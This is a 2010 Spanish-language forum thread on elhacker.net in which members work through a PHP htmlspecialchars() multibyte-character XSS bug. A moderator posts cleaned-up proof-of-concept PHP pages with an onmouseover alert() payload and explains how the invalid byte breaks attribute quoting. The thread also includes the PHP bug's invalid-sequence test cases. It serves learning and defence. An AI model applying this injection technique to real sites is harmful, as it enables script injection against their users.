elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
28 Mayo 2012, 05:51  


Tema destacado: Únete al Grupo Steam elhacker.NET

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits
| | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | |-+  PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS  (Leído 2,768 veces)
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
« en: 16 Enero 2010, 03:25 »

A ver que alguien me explique xD que para el nivel web estoy bien n00b xD

Esto salio apenas hoy

http://www.securityfocus.com/bid/37389

Teóricamente tengo un PHP vulnerable a este ultimo y a muchos mas bugs xD

 
Código
 # php -v
PHP 5.2.8 with Suhosin-Patch 0.9.6.3 (cli) (built: Dec 22 2008 20:08:26)
Copyright (c) 1997-2008 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2008 Zend Technologies
 

Pero he tratado de reproducir el error y no doy con nada, he seguido con los siguientes enlances

http://www.securityfocus.com/bid/37389/exploit
http://bugs.php.net/bug.php?id=49785

y la salida que obtengo es:



En realidad me falta mucho sobre el nivel web.

Saludos
En línea

Bien Super Divertido
@wifigdlmx
WHK
吴阿卡
Moderador
***
Desconectado Desconectado

Mensajes: 4.113


The Hacktivism is not a crime


Ver Perfil WWW
Re: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
« Respuesta #1 en: 16 Enero 2010, 20:02 »

Citar
A ver que alguien me explique xD que para el nivel web estoy bien n00b xD
Si todos nacieran sabiendo las cosas no existirían las escuelas o universidades.

El problema es que securityfocus es demasiado automatizado por lo tanto cuando alguien ingresa un código los escapan con caracteres especiales para que se puedan ver pero no se dan cuenta si alguien mas escapó los carácteres o no, en fin...

http://downloads.securityfocus.com/vulnerabilities/exploits/37389-2.php

Acá aparece una chorrera de código ilegible asi que lo primero que se ve es que son carácteres escapados como para visualizar en una página asi que seleccionamos todo y lo metemos en un solo archivo x.html y nos queda esto:

Código
<? php $ _GET [ ' a1 ' ] = " \xf0 "; // \xf0 - \xfc ã§å¯èƒ½ $ _GET [ 'A1'] = 
"\ xf0"; / / \ xf0 - \ xfc possible $ _GET [ ' a2 ' ] = " href=dummy onmouseover=
alert(document.title) dummy=dummy "
; $ _GET [ 'A2'] = "href = dummy onmouseover
= alert (document.title) dummy = dummy"
; header ( " Content-Type:text/html; charset
=Shift_JIS "
) ; header ( "Content-Type: text / html; charset = Shift_JIS"); ?> ? " < html >
<Html> < head >< title > Shift_JIS test </ title ></ head > <Head> <title> Shift_JIS test
</ title> </ head> < body > <Body> < p >< a <P> <a title = " <?php echo
htmlspecialchars ( $ _GET [ ' a1 ' ] , ENT_QUOTES, ' SJIS ' ) ?> " title = "<? php echo
htmlspecialchars ($ _GET [ 'a1'], ENT_QUOTES, 'SJIS')?>" href = " <?php echo htmlspecialchars
( $ _GET [ ' a2 ' ] , ENT_QUOTES, ' SJIS ' ) ?> " > test </ a ></ p > href = "<? php echo
htmlspecialchars ($ _GET [ 'a2'], ENT_QUOTES, 'SJIS')?>"> test </ a> </ p> </ body >
</ Body> </ html > </ Html>

Ahora, aun así es un desmadre porque hay espacios en blanco, no hay saltos de linea, no sabes donde termina un comentario, securityfocus repite los tags asi que bueno... lo limpié bastante y al final quedó así:

Código
<?php
$_GET['a1'] = "\xf0"; // \xf0 - \xfc possible
$_GET['a2'] = "href=dummy onmouseover=alert(document.title) dummy=dummy";
header("Content-Type:text/html; charset=Shift_JIS");
?>
<html>
<head>
<title>Shift_JIS test</title>
</head>
<body>
<p>
 <a
  title="<?php echo htmlspecialchars($_GET['a1'], ENT_QUOTES, 'SJIS') ?>"
  href="<?php echo htmlspecialchars($_GET['a2'], ENT_QUOTES, 'SJIS') ?>">
 test
</ a >
</p>
</body>
</html>

Ahora, en mi localhost al reproducir ese código y al pasar el mouse sobre el enlace aparece un alert mostrando el título, eso es código de ejecución por el lado del cliente porque se puede bypasear el htmlspecialchars, pero ¿SJIS?.

Todo indica que la vulnerabilidad está en el tipo de codificación SJIS ya que también se declara en el header, pero hagamos esto:

Código
<?php
$_GET['a1'] = "\xf0"; // \xf0 - \xfc possible
$_GET['a2'] = "href=dummy onmouseover=alert(document.title) dummy=dummy";
?>
<html>
<head>
<title>Shift_JIS test</title>
</head>
<body>
<p>
 <a
  title="<?php echo htmlspecialchars($_GET['a1'], ENT_QUOTES) ?>"
  href="<?php echo htmlspecialchars($_GET['a2'], ENT_QUOTES) ?>">
 test
</ a >
</p>
</body>
</html>

También se ejecuta sin la necesidad de ese tipo de codificación en especial imprimiendo "ð" al inicio de la variable, eso hace que se invalide el siguiente string que le si8gue, en este caso las comillas dobles que encerraban a title y ahora href=" pasa a cerrar title formando parte de el dejando paso a la ejecución que le des en href con la variable a2.
« Última modificación: 16 Enero 2010, 20:07 por WHK » En línea

Mi foro Ultra Off-Topics: http://whk.drawcoders.com/foro/

Gracias a todos! Good bye!
~ Yoya ~
Wiki

Desconectado Desconectado

Mensajes: 954



Ver Perfil
Re: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
« Respuesta #2 en: 16 Enero 2010, 23:35 »

Demostración.

http://www.youtube.com/watch?v=EjiCSWKlsWI
En línea

AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
« Respuesta #3 en: 17 Enero 2010, 02:22 »

A va, mas o menos veo por donde va la cosas :D

Saludos
En línea

Bien Super Divertido
@wifigdlmx
~ Yoya ~
Wiki

Desconectado Desconectado

Mensajes: 954



Ver Perfil
Re: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
« Respuesta #4 en: 17 Enero 2010, 03:13 »

no me habia fijado pero el Shift_JIS es japones.
En línea

AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
« Respuesta #5 en: 17 Enero 2010, 03:14 »

Hahaha, de hecho lo descubrió un japones o algo asi, pero uno de los PoC tenia para UTF-8

Saludos
En línea

Bien Super Divertido
@wifigdlmx
~ Yoya ~
Wiki

Desconectado Desconectado

Mensajes: 954



Ver Perfil
Re: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
« Respuesta #6 en: 17 Enero 2010, 03:15 »

Me refiero que el juego de caracter Shift_JIS es japones.
En línea

AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
« Respuesta #7 en: 17 Enero 2010, 03:22 »

Si me refiero a eso, el bug fue asignado a un tal moriyoshi quien reprodujo la falla con ese sistema de caracteres y tambien con UTF-8
UTF-8
Shift_JIS
EUC-JP
Código:
http://bugs.php.net/bug.php?id=49785

Código
// overlong UTF-8 sequence
echo htmlspecialchars("A\xC0\xAF&", ENT_QUOTES, 'UTF-8');
// invalid Shift_JIS sequence
echo htmlspecialchars("B\x80&", ENT_QUOTES, 'Shift_JIS');
echo htmlspecialchars("C\x81\x7f&", ENT_QUOTES, 'Shift_JIS');
// invalid EUC-JP sequence
echo htmlspecialchars("D\x80&", ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("E\xA1\xFF&", ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("F\x8E\xFF&", ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("G\x8F\xA1\xFF&", ENT_QUOTES, 'EUC-JP');

El code anterior fue el que yo probe, pero no sabia ni que onda, voy aprobar el otro y pues a realizar notes.

Saludos
En línea

Bien Super Divertido
@wifigdlmx
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Que són los Malformed paquets en wireshark?
Bugs y Exploits
Raftrack 1 1,322 Último mensaje 5 Octubre 2011, 20:10
por MauroMasciar
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines